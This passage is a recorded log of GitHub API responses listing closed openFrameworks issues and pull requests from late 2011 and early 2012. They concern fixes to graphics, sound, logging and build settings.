meshes).","closed_at":"2012-02-10T02:44:13Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"add support for binary ply in ofMesh::operator<>","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-25T16:53:57Z","updated_at":"2012-02-10T02:44:13Z","comments":1,"milestone":null,"number":879,"id":2967683,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/877","html_url":"https://github.com/openframeworks/openFrameworks/issues/877","body":"The primary contribution here is better integration with GLUT's (limited) support of modifier keys. Since they are not reported as normal keys are, it doesn't make sense to add them to the pressedKeys set. Further, this fix doesn't solve the issue #807, but it moves in that direction.\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/652#issuecomment-3400277\r\nhttps://github.com/openframeworks/openFrameworks/pull/807#issuecomment-3402901\r\n\r\nCheers,\r\nChristopher","closed_at":"2012-02-09T13:33:42Z","labels":[],"title":"Keymodifiers for GLUT, ofPolyline/ofPath::arc fixed, ofPolyline/ofPath::arcNegative added.","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/877.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/877","diff_url":"https://github.com/openframeworks/openFrameworks/pull/877.diff"},"created_at":"2012-01-23T21:42:26Z","updated_at":"2012-02-09T13:33:43Z","comments":1,"milestone":null,"number":877,"id":2942171,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":300484}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/876","html_url":"https://github.com/openframeworks/openFrameworks/issues/876","body":"piggy backing the already existing android functionality for reloading textures for ofImage, ofBitmapFont etc...\r\nthis is necessary when the EAGLView needs to be created more then once.","closed_at":"2012-02-25T18:27:19Z","labels":[],"title":"added TARGET_OF_IPHONE guards where iOS needs to reload textures.","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/876.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/876","diff_url":"https://github.com/openframeworks/openFrameworks/pull/876.diff"},"created_at":"2012-01-23T12:33:39Z","updated_at":"2012-02-25T18:27:19Z","comments":10,"milestone":null,"number":876,"id":2934037,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/874","html_url":"https://github.com/openframeworks/openFrameworks/issues/874","body":"fixes #871","closed_at":"2012-01-21T00:01:10Z","labels":[],"title":"fmod panning","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/874.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/874","diff_url":"https://github.com/openframeworks/openFrameworks/pull/874.diff"},"created_at":"2012-01-20T12:26:14Z","updated_at":"2012-01-21T00:01:10Z","comments":4,"milestone":null,"number":874,"id":2910394,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/okjake","gravatar_id":"5315c80a526341fa5e8563a8560dadc1","login":"okjake","avatar_url":"https://secure.gravatar.com/avatar/5315c80a526341fa5e8563a8560dadc1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":316538}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/873","html_url":"https://github.com/openframeworks/openFrameworks/issues/873","body":"exposing ofUpdateBitmapCharacterTexture() method so it can be called external to ofBitmapFont.\r\nthis small change is essential when swapping out testApps at run-time, like it is done in ofxiOS (https://github.com/julapy/ofxiOS) \r\nso that the bitmap font texture can be recreated again, otherwise it does not render properly.","closed_at":"2012-01-23T10:02:43Z","labels":[],"title":"exposing ofUpdateBitmapCharacterTexture() in ofBitmapFont","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/873.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/873","diff_url":"https://github.com/openframeworks/openFrameworks/pull/873.diff"},"created_at":"2012-01-20T04:48:37Z","updated_at":"2012-01-23T12:24:20Z","comments":2,"milestone":null,"number":873,"id":2907377,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/871","html_url":"https://github.com/openframeworks/openFrameworks/issues/871","body":"inside ofFmodSoundPlayer.cpp\r\n\r\n\tpan \t\t\t= 0.5f;\r\n\r\nshould be\r\n\r\n\tpan \t\t\t= 0;\r\n\r\nbecause panning is -1 to 1, not 0 to 1.\r\n\r\nnot sure how this influences the other soundplayers...","closed_at":"2012-01-21T13:11:39Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","color":"65a300","name":"bitesize"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"}],"title":"all fmod sounds are panned slightly to the right","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-17T09:26:33Z","updated_at":"2012-01-21T13:11:39Z","comments":1,"milestone":null,"number":871,"id":2866235,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/870","html_url":"https://github.com/openframeworks/openFrameworks/issues/870","body":"This is my fix for issue #862. I'm not sure why some of arturoc's changes are showing up in the commits/files changed tab, this is my first pull request. I'm pretty sure my fork is up to date with develop.","closed_at":"2012-01-15T14:56:31Z","labels":[],"title":"Bugfix gst video grabber init","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/870.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/870","diff_url":"https://github.com/openframeworks/openFrameworks/pull/870.diff"},"created_at":"2012-01-15T08:54:12Z","updated_at":"2012-01-15T16:27:59Z","comments":7,"milestone":null,"number":870,"id":2845038,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/timscaffidi","gravatar_id":"2ad43b65cb02eca2b722133681647492","login":"timscaffidi","avatar_url":"https://secure.gravatar.com/avatar/2ad43b65cb02eca2b722133681647492?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177125}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/869","html_url":"https://github.com/openframeworks/openFrameworks/issues/869","body":"As recommended by Theo, did some simple benchmark tests and improvements.\r\n\r\nThe GLUT version and this GL version look almost identical.\r\nhttp://www.flickr.com/photos/95943853@N00/6686691527/sizes/o/in/photostream/\r\n\r\nI moved the drawing of the sphere into the renderers so that it stores the verts and eliminates redundant calculations. \r\nThe GL renderer, also has normals. For GL renderer wireframe mode it uses GL_QUAD_STRIPS, which is not defined as an ofPrimitiveMode? And triangle strip for filled mode.\r\n\r\nSimple speed tests drawing 5000 spheres and measuring with ofGetElapsedTimeMillis()\r\nofScale - 231ms\r\nGLUT - 243ms\r\nMultiplying verts by radius - 280ms\r\n\r\n\r\n","closed_at":"2012-02-09T14:49:02Z","labels":[],"title":"Of sphere develop - no GLUT","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/869.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/869","diff_url":"https://github.com/openframeworks/openFrameworks/pull/869.diff"},"created_at":"2012-01-12T22:47:06Z","updated_at":"2012-02-09T14:49:02Z","comments":5,"milestone":null,"number":869,"id":2825018,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/NickHardeman","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","login":"NickHardeman","avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142694}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/868","html_url":"https://github.com/openframeworks/openFrameworks/issues/868","body":"Implemented code based on Paul Bourke here:\r\nhttp://paulbourke.net/texture_colour/texturemap/\r\n\r\nIncludes normals, texture coords and verts","closed_at":"2012-01-12T16:07:50Z","labels":[],"title":"ofSphere non-GLUT based on Paul Bourke","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/868.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/868","diff_url":"https://github.com/openframeworks/openFrameworks/pull/868.diff"},"created_at":"2012-01-11T20:28:57Z","updated_at":"2012-01-12T16:07:50Z","comments":2,"milestone":null,"number":868,"id":2809551,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/NickHardeman","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","login":"NickHardeman","avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142694}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/867","html_url":"https://github.com/openframeworks/openFrameworks/issues/867","body":"I've disabled the allocation of textures in inputImage in ofxCvContourfinder, since it gave me problems using the contour finder with odd resolutions multithreaded (because the thread cannot allocate a texture), and since I couldn't see any reason to generate a texture and use gpu space when its never used. \r\n\r\nJonas Jongejan ","closed_at":"2012-01-20T12:15:03Z","labels":[],"title":"Texture allocation in ofxCvContourfinder disabled ","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/867.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/867","diff_url":"https://github.com/openframeworks/openFrameworks/pull/867.diff"},"created_at":"2012-01-10T11:38:30Z","updated_at":"2012-01-20T12:15:03Z","comments":0,"milestone":null,"number":867,"id":2783845,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/HalfdanJ","gravatar_id":"9aa6a5cc8cd427d846b067a84f5b96ed","login":"HalfdanJ","avatar_url":"https://secure.gravatar.com/avatar/9aa6a5cc8cd427d846b067a84f5b96ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":227529}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/865","html_url":"https://github.com/openframeworks/openFrameworks/issues/865","body":"ofDrawGrid and ofDrawGridPlane\r\nseems current develop branch doesn't build (or i just need to recreate my projects)\r\nissues with ofQuicktimeGrabber\r\nso i cant test this with latest release\r\n","closed_at":"2012-01-16T00:17:00Z","labels":[],"title":"ofDrawGrid for a 3D grid","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/865.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/865","diff_url":"https://github.com/openframeworks/openFrameworks/pull/865.diff"},"created_at":"2012-01-06T16:11:08Z","updated_at":"2012-02-21T03:37:51Z","comments":7,"milestone":null,"number":865,"id":2748585,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/864","html_url":"https://github.com/openframeworks/openFrameworks/issues/864","body":"The return value of gtkFileDialog is not assigned to results.filePath.\r\n\r\n#if defined( TARGET_LINUX ) && defined (OF_USING_GTK)\r\n \r\n\\- gtkFileDialog(GTK_FILE_CHOOSER_ACTION_SAVE, messageName,defaultName); \r\n\\+ results.filePath = gtkFileDialog(GTK_FILE_CHOOSER_ACTION_SAVE, messageName,defaultName); \r\n\r\n#endif ","closed_at":"2012-01-04T10:45:44Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","color":"27607f","name":"linux"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","color":"65a300","name":"bitesize"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"}],"title":"Issue with the linux version of ofSystemSaveDialog","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-04T08:13:04Z","updated_at":"2012-01-04T10:45:44Z","comments":0,"milestone":null,"number":864,"id":2720393,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/ljudoed","gravatar_id":"132d4de549d8ac8c04680ccf89c88d4f","login":"ljudoed","avatar_url":"https://secure.gravatar.com/avatar/132d4de549d8ac8c04680ccf89c88d4f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1303238}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/862","html_url":"https://github.com/openframeworks/openFrameworks/issues/862","body":"In trying to get the built in iSight to work in an older MBP, pre unibody, I noticed that the initialization routine was where things were going wrong. I looked at the way that it is done in cheese and found that they first set the state to GST_STATE_READY to determine the capabilities of the device, and in oF we set the state to GST_STATE_PLAYING, before even setting the resolution and framerate.\r\n\r\nSo, in ofGstVideoGrabber.cpp get_device_data(), the iSight had issues with this line, gst_element_set_state (pipeline, GST_STATE_PLAY), where it would return a failure code later on. So I changed it to GST_STATE_READY, and all is good. \r\n\r\nI'm not very experienced with gstreamer, so I'm not sure if just changing that one line is enough to be robust, or if there is a reason it was done this way in the first place.\r\n\r\nhere's the relevant file from the cheese git. http://git.gnome.org/browse/cheese/tree/libcheese/cheese-camera-device.c\r\ncheese_camera_device_get_caps() is the relevant function.\r\n","closed_at":"2012-01-15T15:38:54Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"Change gstreamer video initialization process","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-03T04:26:08Z","updated_at":"2012-01-15T15:38:54Z","comments":0,"milestone":null,"number":862,"id":2707240,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/timscaffidi","gravatar_id":"2ad43b65cb02eca2b722133681647492","login":"timscaffidi","avatar_url":"https://secure.gravatar.com/avatar/2ad43b65cb02eca2b722133681647492?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177125}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/860","html_url":"https://github.com/openframeworks/openFrameworks/issues/860","body":"fix is to change the \r\nIntermediate Build Path in the OF project target settings to \r\n\r\n$(SRCROOT)/../../lib/osx/build/debug/\r\n$(SRCROOT)/../../lib/osx/build/release/","closed_at":"2011-12-31T17:30:33Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","color":"993e7a","name":"xcode"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","color":"ff0000","name":"critical"}],"title":"xcode OF project getting rebuilt everytime you switch apps","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2011-12-31T17:23:00Z","updated_at":"2011-12-31T17:30:33Z","comments":0,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":860,"id":2695070,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/859","html_url":"https://github.com/openframeworks/openFrameworks/issues/859","body":"Closes #796.","closed_at":"2012-01-20T12:15:52Z","labels":[],"title":"Correct applyTranslation parameters in ofxVectorGraphics.","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/859.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/859","diff_url":"https://github.com/openframeworks/openFrameworks/pull/859.diff"},"created_at":"2011-12-31T13:55:40Z","updated_at":"2012-01-20T12:15:52Z","comments":0,"milestone":null,"number":859,"id":2694572,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/858","html_url":"https://github.com/openframeworks/openFrameworks/issues/858","body":"[Comments](https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.h#L37) say that the default log level is `OF_LOG_NOTICE`.\r\n[The source](https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L6) says the default is `OF_LOG_WARNING`.\r\nThis can be easily checked - adding `ofLog(OF_LOG_NOTICE, \"Test\");` does not produce output. \r\n\r\nSo, should the source or the docs be corrected? Should the default level be notice or warning?\r\n","closed_at":"2012-02-24T05:20:39Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","color":"cccc29","name":"documentation"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","color":"37c200","name":"development-strategy"}],"title":"ofLog default level does not match description in comments","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2011-12-31T13:26:44Z","updated_at":"2012-02-24T05:20:39Z","comments":16,"milestone":null,"number":858,"id":2694512,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/857","html_url":"https://github.com/openframeworks/openFrameworks/issues/857","body":"the bezierTo methode of ofPolyline at line 50 does not pass the curveResolution parameter","closed_at":"2011-12-30T12:38:59Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","color":"65a300","name":"bitesize"}],"title":"curveResolution of bezierTo in ofPolyline","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2011-12-30T12:29:43Z","updated_at":"2011-12-30T12:38:59Z","comments":1,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":857,"id":2688537,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/tmuthesius","gravatar_id":"7c54ab5ecd100a22ff7c4e048bcad864","login":"tmuthesius","avatar_url":"https://secure.gravatar.com/avatar/7c54ab5ecd100a22ff7c4e048bcad864?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":419190}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/854","html_url":"https://github.com/openframeworks/openFrameworks/issues/854","body":"I replaced printf occurences by equivalent ofLog. The changes are quite simple, but please review before merging, I can't even test most of those changes.\r\nSome occurences still remain, please advise how to proceed:\r\n\r\nofSystemUtils.cpp contains MacOS-only printfs (which I have no access to), and it's not clear to me which log levels would be appropriate for those.\r\n\r\nofTrueTypeFont and ofThread contain conditional printfs with bools `printVectorInfo` and `verbose`, respectively. This is obviously to manually enable logging, but if we replace the printfs with ofLog, it would be possible to not get logging output, even if those bools are true, depending on the log level.\r\nSo how should we treat that? \r\n`OF_LOG_FATAL_ERROR` would ensure output if the bools are true, but sounds really too drastic for most of that output.\r\nOTOH, leaving the printfs would ensure appropriate output, but it couldn't be managed/redirected like all other logging output, so that's not very consistent.\r\n\r\nAside of the occurences in ofSystemUtils.cpp, ofTrueTypeFont and ofThread, there remain no relevant, non-commented, logging printfs in `libs/openFrameworks`.\r\nPlease discuss, and I'll amend this PR.\r\nRelevant issues are #833 and #294.","closed_at":"2012-02-09T14:43:51Z","labels":[],"title":"Replace printf by ofLog in /libs/OpenFrameworks","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/854.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/854","diff_url":"https://github.com/openframeworks/openFrameworks/pull/854.diff"},"created_at":"2011-12-24T12:25:12Z","updated_at":"2012-02-09T14:43:51Z","comments":2,"milestone":null,"number":854,"id":2652588,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/853","html_url":"https://github.com/openframeworks/openFrameworks/issues/853","body":"i get this issue in windows: http://forum.openframeworks.cc/index.php/topic,8329.msg39128.html#new there are other OF user that have this issue in windows? Are you interested to solve this?\r\n\r\ni have a Sony Vaio VGN-AR51E with a NVIDIA GeForce 8400M GT GPU, Windows Vista operative system. And of course i'm using openFramework version 007.\r\n\r\nthanks to all for the attention.","closed_at":"2012-02-05T12:11:54Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","color":"244569","name":"windows"}],"title":"ofFbo issues in windows","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2011-12-23T19:21:12Z","updated_at":"2012-02-05T12:11:54Z","comments":0,"milestone":null,"number":853,"id":2649677,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kalwalt","gravatar_id":"4ec3f9bd7d21934ccfbcc5242b786cd0","login":"kalwalt","avatar_url":"https://secure.gravatar.com/avatar/4ec3f9bd7d21934ccfbcc5242b786cd0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1275858}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '47132'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b059090078900e32e218433d0dd9dbd8"'), ('date', 'Tue, 29 May 2012 18:46:33 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-23T19:19:03Z","body":"from openframework forum: \r\n\r\ni get this issue in windows: http://forum.openframeworks.cc/index.php/topic,8329.msg39128.html#new there are other OF user that have this issue in windows? Are you interested to solve this?\r\n\r\ni have a Sony Vaio VGN-AR51E with a NVIDIA GeForce 8400M GT GPU, Windows Vista operative system. And of course i'm using openFramework version 007.\r\n\r\nthanks to all for the attention.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/852","comments":0,"milestone":null,"number":852,"html_url":"https://github.com/openframeworks/openFrameworks/issues/852","assignee":null,"title":"ofFbo issues in windows","labels":[],"closed_at":"2011-12-23T19:19:03Z","created_at":"2011-12-23T19:18:38Z","state":"closed","user":{"url":"https://api.github.com/users/kalwalt","gravatar_id":"4ec3f9bd7d21934ccfbcc5242b786cd0","login":"kalwalt","avatar_url":"https://secure.gravatar.com/avatar/4ec3f9bd7d21934ccfbcc5242b786cd0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1275858},"id":2649662,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-16T22:50:31Z","body":"ofHideCursor - fullscreen on startup etc\r\n\r\nsee issues here: \r\nhttp://forum.openframeworks.cc/index.php/topic,7621.0.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/850","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":850,"html_url":"https://github.com/openframeworks/openFrameworks/issues/850","assignee":null,"title":"fix 10.7.2 issues for OF 0071","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":"2012-03-16T22:49:04Z","created_at":"2011-12-22T19:00:26Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":2640562,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-21T21:25:50Z","body":"0071 section needs to be filled in eventually.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/848","comments":0,"milestone":null,"number":848,"html_url":"https://github.com/openframeworks/openFrameworks/issues/848","assignee":null,"title":"rearranged the commit log, added a section for 